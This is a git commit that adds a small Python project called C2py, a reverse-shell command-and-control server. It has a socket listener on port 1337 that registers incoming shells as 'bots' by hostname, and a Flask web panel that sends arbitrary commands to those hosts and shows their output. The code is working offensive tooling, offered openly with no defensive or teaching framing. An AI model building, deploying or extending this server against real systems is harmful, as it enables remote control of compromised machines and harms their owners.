commit ef77991a1f08bca8db32e4d9d83951ce7c0e709f Author: Sivert V. Sæther Date: Fri Sep 26 15:54:44 2025 +0200 batman diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..912958a --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +.python-version +__pycache__ +uv.lock diff --git a/README.md b/README.md new file mode 100644 index 0000000..a94a3a6 --- /dev/null +++ b/README.md @@ -0,0 +1,4 @@ +# C2py + +Python based reverse shell command and control with web interface + diff --git a/c2.py b/c2.py new file mode 100644 index 0000000..705b99b --- /dev/null +++ b/c2.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python3 +from socket import SOCK_STREAM, AF_INET, socket +from flask import Flask, request, render_template +from threading import Thread + + +SOCKET = None +app = Flask(__name__) +threads = [] +bots = {} + + +@app.route('/') +def index(): + return render_template('index.j2', bots=bots.keys()) + + +@app.route('/shell/') +def shell(name): + cmd = request.args.get('cmd') + conn = bots.get(name) + res = None + if cmd and conn: + conn.sendall(cmd.encode() + b'\n') + res = conn.recv(4096).decode()[:-2].replace('\n', '
') + return render_template('shell.j2', name=name, res=res) + + +def thread(target, args=()): + thread = Thread(target=target, args=args) + threads.append(thread) + thread.start() + return thread + + +def listen(): + with socket(AF_INET, SOCK_STREAM) as sock: + SOCKET = sock + sock.bind(('0.0.0.0', 1337)) + sock.listen() + while 'pwnd': + conn, addr = sock.accept() + thread(handle, (conn,)) + + +def handle(conn): + assert conn.recv(2) == b'$ ' + conn.sendall(b'hostname\n') + hostname = conn.recv(255).split(b'\n')[0] + bots[hostname.decode()] = conn + + +if __name__ == '__main__': + try: + thread(listen) + app.run() + except KeyboardInterrupt: + SOCKET.close() diff --git a/main.py b/main.py new file mode 100644 index 0000000..009d3b4 --- /dev/null +++ b/main.py @@ -0,0 +1,6 @@ +def main(): + print("Hello from c2py!") + + +if __name__ == "__main__": + main() diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000..1a7f0d7 --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,9 @@ +[project] +name = "c2py" +version = "0.1.0" +description = "Python based C2 server" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "flask>=3.1.2", +] diff --git a/static/style.css b/static/style.css new file mode 100644 index 0000000..37f162b --- /dev/null +++ b/static/style.css @@ -0,0 +1,5 @@ + +body { + background-color: #333; + color: lime; +} diff --git a/templates/base.j2 b/templates/base.j2 new file mode 100644 index 0000000..49bd397 --- /dev/null +++ b/templates/base.j2 @@ -0,0 +1,11 @@ + + + + + {% block title %}{% endblock %} - C2py + {% block head %}{% endblock %} + + +{% block body %}{% endblock %} + + diff --git a/templates/index.j2 b/templates/index.j2 new file mode 100644 index 0000000..124097d --- /dev/null +++ b/templates/index.j2 @@ -0,0 +1,16 @@ +{% extends "base.j2" %} +{% block title %}Home{% endblock %} +{% block head %} +{% endblock %} +{% block body %} +

C2py

+

+Welcome to my awesome command and control admin panel! +

+

Active bots;

+{% for bot in bots %} +

{{ bot }}

+{% else %} +

None

+{% endfor %} +{% endblock %} diff --git a/templates/shell.j2 b/templates/shell.j2 new file mode 100644 index 0000000..7df0488 --- /dev/null +++ b/templates/shell.j2 @@ -0,0 +1,14 @@ +{% extends "base.j2" %} +{% block title %}shell - {{ name }}{% endblock %} +{% block head %} +{% endblock %} +{% block body %} +

C2py - shell - {{ name }}

+
+ + +
+{% if res %} +

{{ res }}

+{% endif %} +{% endblock %}